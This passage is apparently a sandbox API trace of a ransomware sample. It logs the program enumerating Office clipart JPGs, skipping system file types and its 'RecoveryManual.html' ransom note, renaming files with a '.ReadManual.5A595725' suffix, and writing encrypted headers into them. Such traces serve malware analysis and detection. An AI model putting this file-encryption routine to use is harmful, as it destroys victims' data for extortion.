dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a7f) returned 0x1de0000 [0270.044] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.044] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39071311600) returned 1 [0270.044] CloseHandle (hObject=0x184) returned 1 [0270.044] SetSecurityInfo () returned 0x57 [0270.045] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.045] CloseHandle (hObject=0x194) returned 1 [0270.045] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0270.045] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382955.JPG" | out: lpString1="J0382955.JPG") returned="J0382955.JPG" [0270.045] lstrcmpiW (lpString1="J0382955.JPG", lpString2="RecoveryManual.html") returned -1 [0270.045] StrStrIW (lpFirst="J0382955.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.045] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.045] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.045] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.045] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" [0270.045] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ReadManual.5A595725" [0270.045] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ReadManual.5A595725") returned 87 [0270.045] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39071413879) returned 1 [0270.045] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg")) returned 0x20 [0270.046] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.046] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=90095) returned 1 [0270.046] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15fef, lpName=0x0) returned 0x184 [0270.046] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.047] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.047] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.049] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.049] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15fef) returned 0x1de0000 [0270.051] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.052] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39072066097) returned 1 [0270.052] CloseHandle (hObject=0x184) returned 1 [0270.052] SetSecurityInfo () returned 0x57 [0270.052] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.052] CloseHandle (hObject=0x194) returned 1 [0270.052] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0270.052] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382957.JPG" | out: lpString1="J0382957.JPG") returned="J0382957.JPG" [0270.052] lstrcmpiW (lpString1="J0382957.JPG", lpString2="RecoveryManual.html") returned -1 [0270.052] StrStrIW (lpFirst="J0382957.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.052] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.052] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.052] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.052] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.052] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.052] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.053] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.053] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.053] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.053] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.053] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.053] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.053] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.053] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.053] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" [0270.053] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ReadManual.5A595725" [0270.053] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ReadManual.5A595725") returned 87 [0270.053] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39072165575) returned 1 [0270.053] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg")) returned 0x20 [0270.053] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.053] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=109037) returned 1 [0270.053] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a9ed, lpName=0x0) returned 0x184 [0270.054] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.054] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.054] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.056] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.056] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a9ed) returned 0x1de0000 [0270.059] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.060] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39072863256) returned 1 [0270.060] CloseHandle (hObject=0x184) returned 1 [0270.060] SetSecurityInfo () returned 0x57 [0270.060] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.060] CloseHandle (hObject=0x194) returned 1 [0270.060] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0270.060] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382958.JPG" | out: lpString1="J0382958.JPG") returned="J0382958.JPG" [0270.060] lstrcmpiW (lpString1="J0382958.JPG", lpString2="RecoveryManual.html") returned -1 [0270.060] StrStrIW (lpFirst="J0382958.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.060] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.060] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.060] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.060] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.060] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.060] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.060] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.061] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.061] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.061] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.061] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.061] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.061] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.061] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.061] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" [0270.061] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ReadManual.5A595725" [0270.061] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ReadManual.5A595725") returned 87 [0270.061] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39072959821) returned 1 [0270.061] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg")) returned 0x20 [0270.061] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.061] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=103399) returned 1 [0270.061] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x193e7, lpName=0x0) returned 0x184 [0270.062] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.062] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.062] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.064] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.064] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x193e7) returned 0x1de0000 [0270.067] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39073669260) returned 1 [0270.068] CloseHandle (hObject=0x184) returned 1 [0270.068] SetSecurityInfo () returned 0x57 [0270.068] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.068] CloseHandle (hObject=0x194) returned 1 [0270.068] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0270.068] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382959.JPG" | out: lpString1="J0382959.JPG") returned="J0382959.JPG" [0270.068] lstrcmpiW (lpString1="J0382959.JPG", lpString2="RecoveryManual.html") returned -1 [0270.068] StrStrIW (lpFirst="J0382959.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.068] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.068] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.068] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.068] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.069] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.069] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.069] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.069] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.069] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.069] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.069] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.069] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.069] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.069] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.069] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" [0270.069] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ReadManual.5A595725" [0270.069] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ReadManual.5A595725") returned 87 [0270.069] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39073768770) returned 1 [0270.069] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg")) returned 0x20 [0270.070] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.070] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=85898) returned 1 [0270.070] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f8a, lpName=0x0) returned 0x184 [0270.070] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.071] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.071] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.073] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.073] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f8a) returned 0x1de0000 [0270.077] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.078] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39074666601) returned 1 [0270.078] CloseHandle (hObject=0x184) returned 1 [0270.078] SetSecurityInfo () returned 0x57 [0270.078] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.078] CloseHandle (hObject=0x194) returned 1 [0270.078] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0270.078] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382960.JPG" | out: lpString1="J0382960.JPG") returned="J0382960.JPG" [0270.078] lstrcmpiW (lpString1="J0382960.JPG", lpString2="RecoveryManual.html") returned -1 [0270.078] StrStrIW (lpFirst="J0382960.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.078] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.078] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.078] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.078] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.078] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.078] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.079] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.079] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.079] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.079] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.079] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.079] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.079] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.079] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.079] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" [0270.079] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ReadManual.5A595725" [0270.079] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.ReadManual.5A595725") returned 87 [0270.079] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39074765627) returned 1 [0270.079] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg")) returned 0x20 [0270.080] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.080] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=107508) returned 1 [0270.080] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a3f4, lpName=0x0) returned 0x184 [0270.080] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.081] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.083] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.083] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a3f4) returned 0x1de0000 [0270.086] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.086] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39075519833) returned 1 [0270.086] CloseHandle (hObject=0x184) returned 1 [0270.087] SetSecurityInfo () returned 0x57 [0270.087] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.087] CloseHandle (hObject=0x194) returned 1 [0270.087] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0270.087] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382961.JPG" | out: lpString1="J0382961.JPG") returned="J0382961.JPG" [0270.087] lstrcmpiW (lpString1="J0382961.JPG", lpString2="RecoveryManual.html") returned -1 [0270.087] StrStrIW (lpFirst="J0382961.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.087] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.087] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.087] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.087] StrCmpIW 